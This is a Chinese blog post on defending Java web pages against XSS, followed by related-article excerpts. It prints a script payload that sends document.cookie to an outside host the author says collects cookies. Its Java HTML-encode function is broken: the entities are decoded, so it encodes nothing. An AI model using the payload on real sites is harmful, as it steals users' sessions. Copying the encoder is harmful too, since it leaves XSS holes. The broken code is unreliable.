Java xss攻击(跨站脚本攻击)

发现问题

最近我们的服务器频繁的遭到黑客攻击,真是让人头疼啊,痛定思痛,仔细想想为什么我们会被攻击呢,肯定是我们的代码有漏洞啊,那么我们如何检测我们站点的漏洞呢,首先比较大众的就是通过360网站安全检测(http://webscan.360.cn/),但是发现这个太简单了,不够专业,那么我们再来一个专业的Acunetix
Web Vulnerability Scanner,这个软件是收费的,但是我是一个穷人所以就不买了,请原谅。如果你也很穷请到这里下载试用,链接: http://pan.baidu.com/s/1qWr1maC 密码: bvon。

扫描后,发现站点存在的主要漏洞XSS CSS Cross SiteScript,XSS又称CSS,全称Cross SiteScript,跨站脚本攻击,是Web程序中常见的漏洞,XSS属于被动式且用于客户端的攻击方式,所以容易被忽略其危害性。其原理是攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码,当其它用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的。如,盗取用户Cookie、破坏页面结构、重定向到其它网站等。XSS攻击类似于SQL注入攻击。看来危害挺大,我们必须修补下了。那么如何修补呢,首先我们的知道他是如何攻击的:

<%@ page language="java"contentType="text/html; charset=UTF-8"pageEncoding="UTF-8"%>
<!DOCTYPEhtmlPUBLIC"-//W3C//DTD HTML 4.01 Transitional//EN""http://www.w3.org/TR/html4/loose.dtd">
<html>
    <head>
       <title>XSS测试</title>
    </head>
    <body>
       页面内容:<input type="text" name="age" value="">
    </body>
</html>

我们直接输入<script>window.open(“www.jwdstef.com?param=”+document.cookie)</script>,当用户查看这个页面的时候,就会请求www.jwdstef.com这个站点,这个站点是我自己搭建的专门用来收集用户cookie的,这样我就盗取了用户的cookie。

修补xss

我们知道如何攻击,就可以想办法修补了,我们首先要过滤特殊字符如:<>"",‘’ 空格等,这种方法我们叫他Html encode


less-than character (<)


&lt;


greater-than character (>)


&gt;


ampersand character (&)


&amp;


double-quote character (")


&quot;


space character( )


&nbsp;


Any ASCII code character whose code is greater-than or equal to 0x80


&#<number>, where <number> is the ASCII character value.

比如用户输入:<script>window.location.href=”http://www.jwdstef.com”;</script>,保存后最终存储的会是:&lt;script&gt;window.location.href=&quot;http://www.jwdstef.com&quot;&lt;/script&gt;在展现时浏览器会对这些字符转换成文本内容显示,而不是一段可执行的代码。

html encode实现方法比较简单,可以通过过滤器来实现,不论你项目使用的什么框架(servlet,struts2,springmvc)我们都可以通过filter来实现。

private static String htmlEncode(char c) {
    switch(c) {
       case '&':
           return"&";
       case '<':
           return"<";
       case '>':
           return">";
       case '"':
           return""";
       case ' ':
           return" ";
       default:
           return c +"";
    }
}

/** 对传入的字符串str进行Html encode转换 */
public static String htmlEncode(String str) {
    if(str ==null || str.trim().equals(""))   return str;
    StringBuilder encodeStrBuilder = new StringBuilder();
    for (int i = 0, len = str.length(); i < len; i++) {
       encodeStrBuilder.append(htmlEncode(str.charAt(i)));
    }
    return encodeStrBuilder.toString();
}

这种方法不够优雅,为什么这么说呢,因为我们把他转了后,页面上还得用fn:excapeXml("fff")转回来,麻烦,那我们来一个碉堡的方法,

特殊字符全部转为全角特殊字符(Java 全角半角转换)。。。。哈哈,这样前台也不用转了,这个方法仔细想想确实够优雅。。。。。

这样我们也以最少的工作量完成了漏洞的修补。。为了防止黑客再次利用其他方法攻击我们的站点,我们不得不请来了大师为我们的代码和服务器开光

而且经过这次教训我们也强制要求代码的前面必须加上

//
//                                  _oo8oo_
//                                 o8888888o
//                                 88" . "88
//                                 (| -_- |)
//                                 0\  =  /0
//                               ___/'==='\___
//                             .' \\|     |// '.
//                            / \\|||  :  |||// //                           / _||||| -:- |||||_ //                          |   | \\\  -  /// |   |
//                          | \_|  ''\---/''  |_/ |
//                          \  .-\__  '-'  __/-.  /
//                        ___'. .'  /--.--\  '. .'___
//                     ."" '<  '.___\_<|>_/___.'  >' "".
//                    | | :  `- \`.:`\ _ /`:.`/ -`  : | |
//                    \  \ `-.   \_ __\ /__ _/   .-` /  /
//                =====`-.____`.___ \_____/ ___.`____.-`=====
//                                  `=---=`
//
//
//               ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
//
//                          佛祖保佑         永不宕机/永无bug

哈哈,后面的都是开玩笑的,大家别当真。

时间: 2024-10-15 05:39:44

Java xss攻击(跨站脚本攻击)的相关文章

避免XSS(跨站脚本攻击)的简单内容转义(测试为知发布到博客)

为避免XSS(跨站脚本攻击),我们可对页面录入的数据,在持久化数据库前,将这些数据转义. import org.apache.commons.lang.StringEscapeUtils; 来自为知笔记(Wiz)

Magicodes.WeiChat——使用AntiXssAttribute阻止XSS(跨站脚本攻击)攻击

跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS.恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的特殊目的. 很多时候,我们并不需要屏蔽所有的HTML标签,或者,我们需要设置某些属性支持的HTML标签字符串.还好,框架中封装了相关的特性,以便你直接拿来使用. 命名空间:Magicode

关于XSS(跨站脚本攻击)和CSRF(跨站请求伪造)

我们常说的网络安全其实应该包括以下三方面的安全: 1.机密性,比如用户的隐私被窃取,帐号被盗,常见的方式是木马. 2.完整性,比如数据的完整,举个例子,康熙传位十四子,被当时四阿哥篡改遗诏:传位于四子,当然这是传说,常见的方式是XSS跨站脚本攻击和csrf跨站请求伪造. 3.可用性,比如我们的网络服务是否可用,常用的攻击方式是dos和ddos,拒绝服务和分布式拒绝服务攻击. 本文主要讲述xss和csrf的攻击,配合实例讲述这2者攻击的危害性以及一些防范的措施,有讲的不对或者不完整的地方欢迎大大们

XSS(跨站脚本攻击)的最全总结

从OWASP的官网意译过来,加上自己的理解,算是比较全面的介绍.有兴趣的可私下交流. XSS 跨站脚本攻击 ==================================================================================================================================================== * 什么是XSS ** 综述 Cross-Site Scripting(XSS)是一类注入问题

XSS【跨站脚本攻击】

从客户端(txt="<script><a href="www...")中检测到有潜在危险的 Request.Form 值. 如果你使用的是.NET 3.5,那么你只要为接收表单值的Action添加一个特性:[ValidateInput(false)] 就可以了,无需在页面设置ValidateRequest="false" 属性. [HttpPost] [ValidateInput(false)] public string CheckTx

PHP - 防止 XSS(跨站脚本攻击)

<?PHP /** * @blog http://www.phpddt.com * @param $string * @param $low 安全别级低 */ function clean_xss(&$string, $low = False) { if (! is_array ( $string )) { $string = trim ( $string ); $string = strip_tags ( $string ); $string = htmlspecialchars ( $s

Anti XSS 防跨站脚本攻击库

https://wpl.codeplex.com/ Before understanding Anti-Cross Site Scripting Library (AntiXSS), let us understand Cross-Site Scripting(XSS). Cross-site Scripting (XSS) Cross-Site Scripting attacks are a type of injection problem, in which malicious scrip

防止xss(跨站脚本攻击)

采用bs4过滤的方式: from bs4 import BeautifulSoup class XSSFilter(object): __instance = None def __init__(self): # XSS白名单 self.valid_tags = { "font": ['color', 'size', 'face', 'style'], 'b': [], 'div': [], "span": [], } def __new__(cls, *args,

Web安全之跨站脚本攻击(XSS)

XSS 简介 跨站脚本攻击,英文全称是 Cross Site Script,本来缩写是CSS,但是为了和层叠样式表(Cascading Style Sheet,CSS)有所区别,所以在安全领域叫做"XSS". XSS 攻击,通常指黑客利用网站没有对用户提交数据进行转义处理或者过滤不足的缺点,从而通过"HTML注入"篡改了网页,插入了恶意的脚本,然后在用户浏览网页时,控制用户浏览器(盗取用户资料.利用用户身份进行某种动作或者对访问者进行病毒侵害)的一种攻击方式. XS